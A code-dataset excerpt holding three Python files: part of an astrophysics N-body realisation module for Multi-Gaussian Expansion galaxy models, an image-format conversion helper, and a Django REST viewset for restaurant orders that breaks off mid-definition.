requirement on the second order moments).\n\n verbose: default is 1, will print some more information\n \"\"\"\n import time\n\n ## Checking a Few things before starting ########################\n if self.nGauss <= 0 :\n print('ERROR: NGAUSS is not right (= %d)' %self.nGauss)\n return\n if self.TtruncMass <= 0:\n print('ERROR: Mass of the model (= %g) is not right' %self.TtruncMass)\n return\n opGAS = (self.nGasGauss != 0)\n opSTAR = (self.nStarGauss != 0)\n opHALO = (self.nHaloGauss != 0)\n\n ## Number of Groups -------------------------##\n if self.nGroup == 0:\n print(\"ERROR: nGroup is 0\")\n return\n if self.nDynComp == 0:\n print(\"ERROR: nDynComp is 0\")\n return\n\n ## Some options from kwargs -- INITIALISATION -------------------------------------- ##\n ##--- Compute only positions or also velocities ? ---##\n ComputeV = kwargs.get('ComputeV', True)\n GasDisk = kwargs.get('GasDisk', True)\n ## Get the dispersion for the gas in km/s -----------##\n (self.SigRGas, self.SigThetaGas, self.SigZGas) = kwargs.get('SigmaGas',(10.0,10.0,10.0))\n ## Add a BH particle or not? --- ##\n self.Add_BHParticle = kwargs.get('Add_BHParticle', True)\n ## Overwrite mode : 'o' or None ------------------------ ##\n self.overwrite = kwargs.get('overwrite', None)\n ## First Realised Particle, and Max number of Particle -- ##\n self.FirstRealisedPart = np.int(kwargs.get('FirstRealisedPart', 0))\n self.nMaxPart = np.int(kwargs.get('nMaxPart', 0))\n ## Softening -- default is 0 (no softening)--------- ##\n self.Softening = kwargs.get('Softening', 0.0)\n ## Verbose: default is 1 ----------##\n verbose = kwargs.get('verbose', 1)\n ## -------------------------------------------------------------------------------------##\n\n ## Softening in pc----------------------------------##\n if self.Softening > 0. :\n print(\"WARNING: Softening will be %g (pc) !!!\"%(self.Softening))\n self.Softarc = self.Softening / self.pc_per_arcsec # Softening in Arcseconds\n self.SoftarcMbh = self.Softarc # best approx for Mbh smoothing\n self.SoftarcMbh2 = self.SoftarcMbh**2\n\n ## -- Method for Truncating the Density distribution of particles ---##\n self.TruncationMethod = kwargs.get('TruncationMethod', 'Ellipsoid')\n if self.TruncationMethod == \"Cylindre\" :\n self.Rcut = kwargs.get('Rcut', 50000)\n self.Zcut = kwargs.get('Zcut', 50000)\n Xcut = self.Rcut\n self.Rcutarc = self.Rcut / self.pc_per_arcsec\n self.Zcutarc = self.Zcut / self.pc_per_arcsec\n elif self.TruncationMethod == \"Ellipsoid\" :\n self.mcut = kwargs.get('mcut', 50000)\n Xcut = self.mcut\n self.mcutarc = self.mcut / self.pc_per_arcsec\n else :\n print(\"ERROR: TruncationMethod should be Cylindre or Ellipsoid. not %s\" %(self.TruncationMethod))\n return\n\n ## We first save the MGE file for archival purposes, as well as the initial parameters\n self.RealisationTime = time.time()\n dest_filename = self.saveMGE + \"/\" + \"%s_\"%(str(self.RealisationTime)) + self.MGEname\n if os.path.isfile(dest_filename) & (str(self.overwrite).lower() != \"o\") :\n print(\"ERROR: filename already exists in Archival Directory %s\"%(dest_filename))\n print(\" Please use overwrite mode (O) or provide a different output directory (saveMGE)\")\n return\n os_command = \"cp %s %s\"%(self.fullMGEname, dest_filename)\n os.system(os_command)\n #--------------------------------------------------------------------------------------#\n\n ## Save the command into a file with the same time\n text = \"init_nbody(Rcut=%g, Zcut=%g, mcut=%g, ComputeV=%d, GasDisk=%s, SigRGas=%g, SigThetaGas=%g, SigZGas=%g, TruncationMethod=%s, Add_BHParticle=%r, FirstRealisedPart=%r, nMaxPart=%r, overwrite=%r)\\n\"%(self.Rcut, self.Zcut, self.mcut, ComputeV, GasDisk, self.SigRGas, self.SigThetaGas, self.SigZGas, self.TruncationMethod, self.Add_BHParticle, self.FirstRealisedPart, self.nMaxPart, self.overwrite)\n fout = open(self.saveMGE + \"/\" + \"%s\"%(str(self.RealisationTime)) + \".MGE_CI\", \"w+\")\n fout.write(text)\n fout.close()\n #-------------------------------------------------#\n\n ## Get all parameters right and the number of particles too\n self._comp_Nparticles()\n\n #==============================================================================================================\n ## End of parameter initialisation\n #==============================================================================================================\n ## Beginning of allocation\n #==============================================================================================================\n\n self.R = np.zeros(self.nRealisedPart, floatMGE)\n self.theta = np.zeros(self.nRealisedPart, floatMGE)\n self.z = np.zeros(self.nRealisedPart, floatMGE) ## in Parsec\n self.x = np.zeros(self.nRealisedPart, floatMGE) ## in Parsec\n self.y = np.zeros(self.nRealisedPart, floatMGE) ## in Parsec\n self.BodGroup = np.zeros(self.nRealisedPart, int)\n self.BodGauss = np.zeros(self.nRealisedPart, int)\n self.BodMass = np.zeros(self.nRealisedPart, floatMGE)\n ## Add the mass of the particle at 0,0,0 0,0,0 (last particle)\n if self.nRealisedPartBH == 1 :\n self.BodMass[-1] = self.Mbh\n\n ## Allocation for particles dynamics ############################\n self.NSpin = np.ones(self.nRealisedPart, floatMGE)\n self.NkRTheta = np.zeros(self.nRealisedPart, floatMGE)\n self.NkRZ = np.zeros(self.nRealisedPart, floatMGE)\n\n # Now: how do we derive sigma_R or sigma_Theta\n if self.epicycle.any() : ## Theta will be derived from sigma_R with the epicycle approximation\n R = np.linspace(0., Xcut, 1000) ## Derive a range of R in parsec\n epiratio = self.EpicycleRatio(R / self.pc_per_arcsec) # R is passed in arcsec\n # Function to have from R in pc, sigma_R / sigma_Theta from the epicycle approximation\n funcEpiratio = interpolate.interp1d(R, epiratio)\n\n ## Now we implement (if betaeps=1) the relation beta = 0.6 * eps\n ## Only if specified\n if 'FacBetaEps' in kwargs :\n self.FacBetaEps = kwargs.get('FacBetaEps', 0.6)\n self._init_BetaEps(verbose=True)\n\n ## Derive required values from the anisotropy kRZ2 (sig_R2/ sig_z2)\n self._dParam = dynParamMGE(self)\n\n ############### Computing POSITIONS for the N body realisation ##################\n # for each Gaussian, derive initial positions for particles\n ## Only do this if it is axisymmetric\n if self.axi == 1 :\n\n ##################################### BEGIN STARS, GAS, HALO ######################################\n self.Spin = np.ones(self.nGauss, np.int)\n for i in range(self.nGauss) :\n sigma = self.Sig3D[i]\n\n if self.TruncationMethod == \"Cylindre\" :\n self.x[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = sample_trunc_gauss(sigma=sigma, cutX=self.Rcut, npoints=self.nRealisedPartGauss[i], even=1)\n self.y[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = sample_trunc_gauss(sigma=sigma, cutX=self.Rcut, npoints=self.nRealisedPartGauss[i], even=1)\n sigma = self.Sig3D[i]*self.QxZ[i]\n self.z[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = sample_trunc_gauss(sigma=sigma, cutX=self.Zcut, npoints=self.nRealisedPartGauss[i], even=1)\n self.theta[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = asarray(np.random.uniform(0., 2.*np.pi, size=(self.nRealisedPartGauss[i],)), dtype=floatMGE)\n elif self.TruncationMethod == \"Ellipsoid\" :\n r = sample_trunc_r2gauss(sigma=sigma, cutr=self.mcut, npoints=self.nRealisedPartGauss[i])\n U = asarray(np.random.uniform(-1., 1., size=(self.nRealisedPartGauss[i],)), dtype=floatMGE)\n V = asarray(np.random.uniform(0.,1., size=(self.nRealisedPartGauss[i],)), dtype=floatMGE)\n sqU = np.sqrt(1. - U*U)\n theta = 2. * np.pi * V\n self.x[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = r*sqU*cos(theta)\n self.y[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = r*sqU*sin(theta)\n self.z[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = r * U * self.QxZ[i]\n self.theta[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = theta\n\n self.BodGauss[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = i+1\n self.BodGroup[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = self.GaussDynCompNumber[i]\n self.BodMass[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = self.pmassGauss[i]\n\n ## We set up things so that at the end we have kRZ and kRTheta\n ## First we test if one of the set up variable is negative, which means that we should inverse the Spin\n if (self.kRTheta[i] < 0) :\n self.kRTheta[i] = np.abs(self.kRTheta[i])\n self.Spin[i] = -1\n self.NSpin[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = - np.ones(self.nRealisedPartGauss[i], dtype=floatMGE)\n\n self.NkRZ[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = np.zeros(self.nRealisedPartGauss[i], dtype=floatMGE) + self.kRZ[i]\n if self.epicycle[i] :\n self.NkRTheta[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = funcEpiratio(self.R[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]])\n else :\n self.NkRTheta[self.nRealisedPartCum[i]:self.nRealisedPartCum[i+1]] = np.zeros(self.nRealisedPartGauss[i], dtype=floatMGE) + self.kRTheta[i]\n\n print(\"NStar = %d particles Realised over a total of %d\" %(self.nRealisedPartStar, self.nPartStar))\n print(\"NGas = %d particles Realised over a total of %d\" %(self.nRealisedPartGas, self.nPartGas))\n print(\"NHalo = %d particles Realised over a total of %d\" %(self.nRealisedPartHalo, self.nPartHalo))\n if self.nRealisedPartBH == 1:\n print(\"Adding a BH particle of %e Msun\" %(self.Mbh))\n firstStar = 0 # index for the first Star particle\n firstGas = lastStar = self.nRealisedPartStar # index for the first Gas particle - last Star particle\n firstHalo = lastGas = firstGas + self.nRealisedPartGas # index for the first Halo particle - last Gas particle\n firstBH = lastHalo = firstHalo + self.nRealisedPartHalo # index for the BH particle - last Halo particle\n ##################################### END STARS, GAS, HALO ######################################\n\n ## Computing some important quantities : R, r, theta, xarc etc ------------------------- ##\n self.R = sqrt(self.x**2 + self.y**2)\n ## And r spherical\n self.r = sqrt(self.x**2 + self.y**2+self.z**2)\n\n ## Now computing the true theta\n self.theta[(self.x == 0.) & (self.y >= 0.)] = np.pi / 2.\n self.theta[(self.x == 0.) & (self.y < 0.)] = -np.pi / 2.\n self.theta[(self.x < 0.)] = arctan(self.y[(self.x < 0.)] / self.x[(self.x < 0.)]) + np.pi\n self.theta[(self.x > 0.)] = arctan(self.y[(self.x > 0.)] / self.x[(self.x > 0.)])\n\n ### Transforming in arcsecond\n self.xarc = self.x / self.pc_per_arcsec ### Normalisation using the distance of the galaxy\n self.yarc = self.y / self.pc_per_arcsec ### Normalisation using the distance of the galaxy\n self.zarc = self.z / self.pc_per_arcsec ### Normalisation using the distance of the galaxy\n self.Rarc = self.R / self.pc_per_arcsec ### Normalisation using the distance of the galaxy\n self.rarc = self.r / self.pc_per_arcsec ### Normalisation using the distance of the galaxy\n\n R2 = (self.Rarc)**2 ## R in arcsec\n Z2 = (self.zarc)**2 ## z in arcsec\n\n ############### Computing velocities for the N body realisation ##################\n if ComputeV :\n ### Integration using gaussian quadrature ###\n ### First compute the gaussian quadrature points, and weights\n print(\"Starting the derivation of velocities\")\n self.muTheta2 = np.zeros(self.nRealisedPart, floatMGE)\n self.sigz = np.zeros(self.nRealisedPart, floatMGE)\n self.sigR = np.zeros(self.nRealisedPart, floatMGE)\n self.sigT = np.zeros(self.nRealisedPart, floatMGE)\n self.vt = np.zeros(self.nRealisedPart, floatMGE)\n if verbose :\n print(\"End of memory alloc\")\n\n##### OPTION REMOVE if self.GLOBAL_Sigma == False :\n ## Doing it in Dynamical groups #################################\n if verbose :\n print(\"STARTING Local Sigma for each Dynamical Group\")\n ## First check that Dynamical Groups are ordered\n setGauss_Stars = list(range(self.nStarGauss))\n setGauss_Halo = list(range(self.nStarGauss + self.nGasGauss, self.nGauss))\n setGauss = np.concatenate((setGauss_Stars, setGauss_Halo))\n nRealisedPart = self.nRealisedPartStar + self.nRealisedPartHalo\n ## First derive the equations for each INDIVIDUAL DYNAMICAL GROUP for SIGMA_Z\n if nRealisedPart != 0 :\n for i in range(self.nDynComp) :\n iminG = np.min(self.listGaussDynComp[i])\n imaxG = np.max(self.listGaussDynComp[i])\n if (iminG >= self.nStarGauss) & (imaxG < self.nStarGauss+self.nGasGauss) & GasDisk:\n continue\n for j in range(iminG+1, imaxG) :\n if j not in self.listGaussDynComp[i] :\n print(\"ERROR: Dynamical Group %d should included ordered Gaussians\"%(i+1))\n print(\"ERROR: Dynamical Group %d is \"%(i+1),self.listGaussDynComp[i])\n return\n\n startI, endI = self.nRealisedPartCum[iminG], self.nRealisedPartCum[imaxG+1]\n if endI <= startI :\n continue\n R2comp = R2[startI: endI]\n Z2comp = Z2[startI: endI]\n self.rho, self.rhoT = self._MassDensity(R2comp, Z2comp, ilist=list(range(iminG,imaxG+1)))\n self.rhoT = np.where(self.rhoT > 0., self.rhoT, 1.0)\n temp1, temp2 = self._sigmaz2_muTheta2_fromR2Z2(R2comp, Z2comp, ilist=list(range(iminG,imaxG+1)))\n self.sigz[startI: endI] = sqrt(temp1)\n self.muTheta2[startI: endI] = temp2\n if verbose :\n print(\"End of sigz2 and mu2 derivation for Dynamical Group %02d\"%(i+1))\n\n##### REMOVING THIS OPTION - NOT REQUIRED CONSIDERING THE INPUT ASCII FILE WITH DYN GROUPS ###### else :\n#### OPTION REMOVED ###### if verbose :\n#### OPTION REMOVED ###### print \"STARTING GLOBAL Sigma for All Stars and then Halo\"\n#### OPTION REMOVED ###### ## STARS ####################\n#### OPTION REMOVED ###### R2Star = R2[firstStar:lastStar]\n#### OPTION REMOVED ###### Z2Star = Z2[firstStar:lastStar]\n#### OPTION REMOVED\n#### OPTION REMOVED ###### imin = 0\n#### OPTION REMOVED ###### imax = self.nStarGauss-1 # Include all Gaussians, including Halo ones\n#### OPTION REMOVED ###### self.rho, self.rhoT = self._MassDensity(R2Star, Z2Star, imin=imin, imax=imax)\n#### OPTION REMOVED\n#### OPTION REMOVED ###### ## Compute both sigmaz2 and mu2 for the Stars\n#### OPTION REMOVED ###### temp1, temp2 = self.sigmaz2_mut2(R2Star, Z2Star, imin=imin, imax=imax)\n#### OPTION REMOVED ###### self.sigz2[firstStar:lastStar] = temp1\n#### OPTION REMOVED ###### self.mut2[firstStar:lastStar] = temp2\n#### OPTION REMOVED ###### if verbose :\n#### OPTION REMOVED ###### print \"End of sigz2 and mu2 derivation for Stars\"\n#### OPTION REMOVED\n#### OPTION REMOVED ###### ## HALO ####################\n#### OPTION REMOVED ###### R2Halo = R2[firstHalo:lastHalo]\n#### OPTION REMOVED ###### Z2Halo = Z2[firstHalo:lastHalo]\n#### OPTION REMOVED\n#### OPTION REMOVED ###### imin = self.nStarGauss + self.nGasGauss\n#### OPTION REMOVED ###### imax = self.nGauss-1 # Include all Gaussians, including Halo ones\n#### OPTION REMOVED ###### self.rho, self.rhoT = self._MassDensity(R2Halo, Z2Halo, imin=imin, imax=imax)\n#### OPTION REMOVED ###### self.rhoT = np.where(self.rhoT > 0., self.rhoT, 1.0)\n#### OPTION REMOVED\n#### OPTION REMOVED ###### ## Compute both sigmaz2 and mu2 for the Halos\n#### OPTION REMOVED ###### temp1, temp2 = self.sigmaz2_mut2(R2Halo, Z2Halo, imin=imin, imax=imax)\n#### OPTION REMOVED ###### self.sigz2[firstHalo:lastHalo] = temp1\n#### OPTION REMOVED ###### self.mut2[firstHalo:lastHalo] = temp2\n#### OPTION REMOVED ###### if verbose :\n#### OPTION REMOVED ###### print \"End of sigz2 and mu2 derivation for Halo\"\n\n ## Using only kRZ and kRTheta\n sigR = self.sigz * self.NkRZ\n sigTheta = np.minimum(sqrt(self.muTheta2), sigR / self.NkRTheta) # sigma Theta from sigma R\n vt = sqrt(np.clip(self.muTheta2 - sigTheta**2, 0., np.inf))\n self.sigR[firstStar:lastStar] = sigR[firstStar:lastStar] # sigma R from sigma Z\n self.sigR[firstHalo:lastHalo] = sigR[firstHalo:lastHalo] # sigma R from sigma Z\n self.sigT[firstStar:lastStar] = sigTheta[firstStar:lastStar] # sigma Theta from sigma R\n self.sigT[firstHalo:lastHalo] = sigTheta[firstHalo:lastHalo] # sigma Theta from sigma R\n # Mean V theta\n self.vt[firstStar:lastStar] = vt[firstStar:lastStar]\n self.vt[firstHalo:lastHalo] = vt[firstHalo:lastHalo]\n if not GasDisk :\n self.sigR[firstGas:lastGas] = sigR[firstGas:lastGas] # sigma R from sigma Z\n self.sigT[firstGas:lastGas] = sigTheta[firstGas:lastGas] # sigma Theta from sigma R\n self.vt[firstGas:lastGas] = vt[firstGas:lastGas]\n if verbose :\n if GasDisk :\n print(\"End of sigz2 and mu2 derivation for All Stars and Halo particles\")\n else :\n print(\"End of sigz2 and mu2 derivation for All Stars, Gas and Halo particles\")\n\n ## GAS ######################\n if opGAS & GasDisk:\n self.vt[firstGas:lastGas] = self.Vcirc(self.Rarc[firstGas:lastGas])\n self.muTheta2[firstGas:lastGas] = self.vt[firstGas:lastGas]**2 + self.SigThetaGas**2\n temp = np.zeros_like(self.sigR[firstGas:lastGas])\n self.sigR[firstGas:lastGas] = temp + self.SigRGas # sigma R for the Gas\n self.sigT[firstGas:lastGas] = temp + self.SigThetaGas # sigma Theta for the Gas\n self.sigz[firstGas:lastGas] = temp + self.SigZGas # sigma Z for the Gas\n if verbose :\n print(\"End of sigz2 and mu2 derivation for Gas\")\n\n ## Changing the spin of the component\n self.vt *= self.NSpin\n\n ## Starting the randomization of velocities using the derived V and Sigma values\n print(\"Randomizing the Velocities\")\n Vescape = self.Vescape(self.Rarc,self.zarc) # Vescape : cut it if the total velocity is higher\n Nrejected = 0\n Nstart = 0\n Nremain = self.nRealisedPart\n ind = list(range(self.nRealisedPart))\n self.Vz = np.zeros(self.nRealisedPart, floatMGE)\n self.VR = np.zeros(self.nRealisedPart, floatMGE)\n self.Vtheta = np.zeros(self.nRealisedPart, floatMGE)\n self.Vtot = np.zeros(self.nRealisedPart, floatMGE)\n iter = 0\n while Nremain != 0 :\n ### Randomize the positions taking into account the 3D width of the Gaussian\n self.Vz[ind] = asarray(np.random.normal(0., 1., Nremain), dtype=floatMGE) * self.sigz[ind]\n self.VR[ind] = asarray(np.random.normal(0., 1., Nremain), dtype=floatMGE) * self.sigR[ind]\n self.Vtheta[ind] = asarray(np.random.normal(0., 1., Nremain), dtype=floatMGE) * self.sigT[ind] + self.vt[ind]\n\n self.Vtot[ind] = sqrt(self.Vz[ind]**2 + self.VR[ind]**2 + self.Vtheta[ind]**2)\n\n ind = np.ravel(np.where(self.Vtot[ind] > Vescape[ind])) # indices which are NOT ok with Vesc\n nrealised = Nremain - ind.size\n Nstart = Nstart+nrealised\n Nremain = ind.size\n iter += 1\n print(\"NtotalV = %d, Nrealised = %d, Nremaining = %d, Iter = %d\" %(Nstart, nrealised, Nremain, iter))\n Nrejected += Nremain\n\n print(\"Rejected (recalculated) points above Vescape: %d\" %(Nrejected))\n\n self.Vx = self.VR * cos(self.theta) - self.Vtheta * sin(self.theta)\n self.Vy = self.VR * sin(self.theta) + self.Vtheta * cos(self.theta)\n\n return\n\n############################################################################################################\n####################################### END OF NBODY REALIZATION ###########################################\n############################################################################################################\n\n def comp_Pot(self) :\n self.EcPot = self.Pot(self.Rarc, self.zarc)\n self.EcPotT = np.sum(self.EcPot)\n return\n\n def comp_Ep(self) :\n print(\"==== Potential Energy ====\")\n print(\"WARNING: this is a direct computation of the potential energy: can be time consuming!\")\n self.Ep = np.zeros(self.nRealisedPart, floatMGE)\n for i in range(self.nRealisedPart) :\n Ep = np.sum(concatenate((1./sqrt((self.x[:i] - self.x[i])**2 + (self.y[:i] - self.y[i])**2 + (self.z[:i] - self.z[i])**2), 1./sqrt((self.x[i+1:] - self.x[i])**2 + (self.y[i+1:] - self.y[i])**2 + (self.z[i+1:] - self.z[i])**2))),axis=0)\n self.Ep[i] = - Ep * self.Gorig * self.BodMass**2\n\n self.EpT = np.sum(self.Ep,axis=0) / 2.\n return\n\n def comp_Ec(self) :\n print(\"==== Kinetic Energy ====\")\n self.Ec = 0.5 * self.BodMass * (self.Vx**2 + self.Vy**2 + self.Vz**2)\n self.EcT = np.sum(self.Ec,axis=0)\n return\n\n ################## Projection of the MGE model ################\n def projpart(self, inclin=90.) :\n \"\"\" Projection of an MGE realization (N particles) using a defined inclination\n inclin: inclination in degrees, 90 being edge-on, 0 being face-on\n \"\"\"\n\n inclin_rad = inclin * np.pi / 180.\n self.Xp = self.x\n self.Yp = self.y * cos(inclin_rad) + self.z * sin(inclin_rad)\n self.Zp = - self.y * sin(inclin_rad) + self.z * cos(inclin_rad)\n self.Xparc = self.Xp / self.pc_per_arcsec\n self.Yparc = self.Yp / self.pc_per_arcsec\n self.Zparc = self.Zp / self.pc_per_arcsec\n\n self.Vrad = self.Vy * sin(inclin_rad) - self.Vz * cos(inclin_rad)\n\n return\n #===================================================================\n\n ##################################################################\n ### Save the Nbody coordinates x,y,z,Vx,Vy,Vz in an ascii file #\n ##################################################################\n def save_nbody(self, outdir=None, outfilename=None, overwrite=False, arcsec=False) :\n \"\"\" Save the N body realizationof an MGE model into an ascii file\n name : string defining the name of the output file\n overwrite: if file exists, overwrite or not - default = False\n arcsec: save the positions in arcseconds or pc - default= False (pc)\n \"\"\"\n if outfilename is None :\n print(\"You must specify an output ascii file\")\n return\n\n if outdir is not None :\n outfilename = outdir + outfilename\n\n if os.path.isfile(outfilename) and overwrite==False : # testing the existence of the file\n print('WRITING ERROR: File %s already exists, use overwrite=True if you wish' %outfilename)\n return\n\n ascii_file = open(outfilename, mode=\"w\")\n\n if arcsec == True :\n outx = self.xarc\n outy = self.yarc\n outz = self.zarc\n else :\n outx = self.x\n outy = self.y\n outz = self.z\n\n for i in range(self.nRealisedPart) :\n line = \"%12.5e %12.5e %12.5e %12.5e %12.5e %12.5e %12.5e \\n\" %(outx[i], outy[i], outz[i], self.Vx[i], self.Vy[i], self.Vz[i], self.BodMass[i])\n ascii_file.write(line)\n\n ascii_file.close\n return\n #===================================================================\n","sub_path":"pygme/init_partMGE.py","file_name":"init_partMGE.py","file_ext":"py","file_size_in_byte":30045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"213947405","text":"#!/usr/bin/env python\n# encoding=utf8\n#########################################################################\n# Author:\n# Created Time: Thu 08 Nov 2018 08:48:39 PM CST\n# File Name: convert.py\n# Description: tensor pil cv numpy\n#########################################################################\n\nimport cv2\nimport numpy as np\nimport PIL\nimport torch\nfrom torchvision import transforms\n\n# tensor [C, H, W] 取值范围是[0, 1.0] 一般经过normalization\n# pil [H,W,C] 取值范围是[0,255] RGB\n# cv [H,W,C] 取值范围是[0,255] GBR\n\n# pil to numpy\n# np_obj = np.array( pil_obj )\n\n# numpy to pil i\n# pil_obj = PIL.Image.fromarray( np_obj ).convert('RGB')\n\n# tensor => numpy\n# np_obj = tensor.numpy()\n\n# numpy => tensor\n# tensor = torch.Tensor(np_obj)\n\n# pil to cv\n# cv_obj = np.array(pil_img)[:, :, ::-1].copy()\n\n# cv to pil\n# pil_obj = PIL.Image.fromarray(cv_obj.astype('uint8')[:, :, ::-1], mode='RGB')\n\n# tensor to pil\n# pil_img = transforms.ToPILImage()(tensor_obj).convert(\"RGB\")\n# = transpose + *255\n\ndef tensor_to_pil(tensor_img, MEAN=[], STD=[]):\n if MEAN and STD:\n np_img = tensor_img.numpy()\n for i in range(0, 3):\n np_img[i] = np_img[i] * STD[i] + MEAN[i] # unnormalize\n pil_img = transforms.ToPILImage()(torch.from_numpy(np_img)).convert(\"RGB\")\n else:\n pil_img = transforms.ToPILImage()(tensor_img).convert(\"RGB\")\n return pil_img\n\ndef tensor_to_cv(tensor_img, MEAN=[], STD=[]):\n pil_img = tensor_to_pil(tensor_img, MEAN, STD)\n cv_img = np.array(pil_img)[:, :, ::-1].copy()\n return cv_img\n\n\nif __name__ == '__main__':\n\n MEAN = [0.485, 0.456, 0.406]\n STD = [0.229, 0.224, 0.225]\n img_transform = transforms.Compose([transforms.Resize((224, 224)), transforms.ToTensor(), transforms.Normalize(MEAN, STD)])\n pil_img = PIL.Image.open(\"color.jpg\").convert(\"RGB\")\n\n # pil to tensor\n tensor_img = img_transform(pil_img)\n\n pil_img = tensor_to_pil(tensor_img, MEAN, STD)\n pil_img.save(\"pil.jpg\")\n cv_img = np.array(pil_img)[:, :, ::-1].copy()\n cv2.imwrite(\"cv.jpg\", cv_img)\n","sub_path":"mmcv/image/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"89568133","text":"from django.contrib.auth.hashers import check_password\nfrom rest_framework import viewsets, status, mixins\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.utils import json\nfrom django.forms.models import model_to_dict\nfrom django.db.models import ObjectDoesNotExist\nimport logging\nfrom ServeUp.Views.helper import *\n\nclass NarociloViewSet(viewsets.ModelViewSet):\n \"\"\"\n ViewSet provides 'list', 'create', 'retrieve', 'update' and 'destroy' actions\n\n Additional actions can be added using '@action()' decorator, default response\n is GET, you can add POST using 'methods' argument\n \"\"\"\n queryset = Narocilo.objects.all()\n serializer_class = NarociloSerializer\n\n def list(self, request, *args, **kwargs):\n \"\"\"\n Returns all orders for restaurant with specified id in GET parameter 'id_restavracija'.\n\n ORDER_NEW = 0 # \"Nova Naročila\"\n ORDER_PREPARING = 1 # \"V Pripravi\"\n ORDER_DONE = 2 # \"Pripravljeno\"\n ORDER_FINISHED = 3 # \"Končano\"\n \"\"\"\n get_params = request.query_params\n response = {}\n return_data = {}\n\n try:\n id_restavracija = get_params['id_restavracija']\n except KeyError:\n response['status'] = 0\n response['description'] = \"Missing id, add ?id_restavracija=x to call\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n data = JediNarocilaPodatki.objects.filter(id_restavracija=id_restavracija,\n status__in=[ORDER_NEW, ORDER_DONE, ORDER_PREPARING, ORDER_FINISHED])\n data = JediNarocilaPodatkiSerializer(data, many=True).data\n\n for order in data:\n id_narocila = order['id_narocila']\n if id_narocila not in return_data:\n return_data[id_narocila] = {\n 'cas_prevzema': order['cas_prevzema'],\n 'cas_narocila': order['cas_narocila'],\n 'id_restavracija': order['id_restavracija'],\n 'id_uporabnik': order['id_uporabnik'],\n 'cena': 0,\n 'id_narocila': order['id_narocila'],\n 'status': order['status'],\n 'checked_in': order['checked_in'],\n 'id_miza': order['id_miza'],\n 'jedi': []\n }\n\n return_data[id_narocila]['jedi'].append({\n 'id_jed': order['id_jed'],\n 'ime_jedi': order['ime_jedi'],\n 'kolicina': order['kolicina'],\n 'cena': order['cena']\n })\n return_data[id_narocila]['cena'] += order['cena']\n\n response['status'] = 1\n response['data'] = list(return_data.values())\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['GET'])\n def refresh(self, request):\n \"\"\"\n Returns new and cancelled orders for a restaurant\n GET params:\n id_restavracija: id of the restaurant to refresh orders\n \"\"\"\n get_params = request.query_params\n response = {}\n\n try:\n id_restavracija = get_params['id_restavracija']\n except KeyError:\n response['status'] = 0\n response['description'] = \"Missing id, add ?id_restavracija=x to call\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n new, cancelled, checked_in = get_new_cancelled_checked_in_orders(int(id_restavracija))\n response['status'] = 1\n response['new_orders'] = new\n response['cancelled_orders'] = cancelled\n response['checked_in_orders'] = checked_in\n return Response(response, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=['POST'])\n def cancel_order(self, request):\n \"\"\"\n Receive order id and delete that order from the database effectively cancelling it.\n Add the order id to the cancelled orders list\n Return conformation of action or error.\n \"\"\"\n response = {}\n data = json.load(request)\n try:\n order_id = data['id_narocilo']\n except KeyError as e:\n response['status'] = 0\n response['description'] = \"Missing key data \" + str(e) + \"\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n # noinspection PyBroadException\n try:\n narocilo = Narocilo.objects.get(id_narocila=order_id)\n order = {'id_narocila': narocilo.id_narocila, 'id_restavracija': narocilo.id_restavracija.id_restavracija}\n narocilo.delete()\n add_cancelled_order(order)\n response['status'] = 1\n response['description'] = \"Successfully deleted order\"\n return Response(response, status=status.HTTP_200_OK)\n except Exception:\n response['status'] = 0\n response['description'] = \"Could not delete order {}\".format(order_id)\n return Response(response, status=status.HTTP_503_SERVICE_UNAVAILABLE)\n\n @action(detail=False, methods=['POST'])\n def new_order(self, request):\n \"\"\"\n The function receives JSON data with the details of a new order and stores it.\n Return values\n status: 0 - Error, 1 - Successfully added\n description: Short description of Error or confirm desired action\n \"\"\"\n response = {}\n data = json.load(request)\n\n try:\n order = {\n \"cas_prevzema\": data['cas_prevzema'],\n \"cas_narocila\": data['cas_narocila'],\n \"id_restavracija\": data['id_restavracija'],\n \"id_uporabnik\": data['id_uporabnik'],\n \"status\": ORDER_NEW,\n \"checked_in\": False\n }\n meals = data['jedi']\n except KeyError as e:\n response['status'] = 0\n response['description'] = \"Missing key data \" + str(e) + \"\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n if len(meals) == 0: # If there are no meals in order wrong formatting\n response['status'] = 0\n response['description'] = \"No meal data\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n serializer = NarociloSerializer(data=order)\n if serializer.is_valid():\n narocilo = serializer.save()\n id_narocila = narocilo.id_narocila\n\n success, price = add_meals_to_order(meals, id_narocila)\n if not success: # Something went wrong delete order\n narocilo.delete()\n response['status'] = 0\n response['description'] = \"Could not insert meals\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n order['cena'] = price\n order['id_narocila'] = id_narocila\n order['jedi'] = meals\n add_new_order(order)\n response['status'] = 1\n response['description'] = \"New order created\"\n return Response(response, status=status.HTTP_201_CREATED)\n else:\n response['status'] = 0\n response['description'] = \"Could not add new order\"\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['POST'])\n def 